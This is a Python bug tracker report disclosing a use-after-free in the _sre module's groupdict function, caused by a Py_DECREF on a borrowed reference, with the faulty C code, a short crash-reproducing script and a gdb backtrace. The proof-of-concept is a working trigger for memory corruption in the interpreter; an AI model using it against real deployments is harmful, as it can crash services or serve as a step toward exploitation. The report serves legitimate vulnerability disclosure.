Issue 27774: Py_DECREF on a non-owned object in _sre (original) (raw)

Thomas E Hybel reports:

This vulnerability exists in the function _sre_SRE_Match_groupdict_impl which resides in the /Modules/_sre.c file.

The problem is that the code calls Py_DECREF(key); without having done a corresponding Py_INCREF on the key.

Here's the relevant code:

static PyObject *
_sre_SRE_Match_groupdict_impl(MatchObject *self, PyObject *default_value)
{
    ...
    for (index = 0; index < PyList_GET_SIZE(keys); index++) {
        ...
        PyObject* key;
        ...
        key = PyList_GET_ITEM(keys, index);
        ...
        value = match_getslice(self, key, default_value);
        if (!value) {
            Py_DECREF(key);
            goto failed;
        }
        ...
    }
    ...
}

We initialize the "key" variable via PyList_GET_ITEM(keys, index) which simply takes keys->ob_item[index]. There is no increase in reference count.

If match_getslice fails, we then call Py_DECREF(key). This is simply wrong. It will result in the key object getting freed prematurely, leading to use-after-free scenarios.

Here's a script which reproduces this:

--- begin script ---

import _sre import time

p = _sre.compile( "A", # pattern 0, # flags [1], # code 1, # groups {0xdeadbeef: 0}, # groupindex 0 # indexgroup )

m = p.match("AAAA")

for _ in range(5): # each call to m.groupdict decreases the refcount of 0xdeadbeef once try: m.groupdict() except IndexError: pass

--- end script ---

Running the script crashes python on my machine:

(gdb) r ./poc7.py Starting program: /home/xx/Python-3.5.2/python ./poc7.py

Program received signal SIGSEGV, Segmentation fault. 0x0000000000567d71 in match_getindex (self=self@entry=0x7ffff7e2da18, index=index@entry=0x7ffff6d582c0) at ./Modules/_sre.c:2055 2055 if (PyLong_Check(index)) (gdb) bt #0 0x0000000000567d71 in match_getindex (self=self@entry=0x7ffff7e2da18, index=index@entry=0x7ffff6d582c0) at ./Modules/_sre.c:2055 #1 0x0000000000568946 in match_getslice (self=self@entry=0x7ffff7e2da18, index=index@entry=0x7ffff6d582c0, def=def@entry=0x8831c0 <_Py_NoneStruct>) at ./Modules/_sre.c:2076 #2 0x0000000000568a99 in _sre_SRE_Match_groupdict_impl (self=self@entry=0x7ffff7e2da18, default_value=0x8831c0 <_Py_NoneStruct>) at ./Modules/_sre.c:2198 #3 0x0000000000568bc5 in _sre_SRE_Match_groupdict (self=0x7ffff7e2da18, args=, kwargs=) at ./Modules/clinic/_sre.c.h:518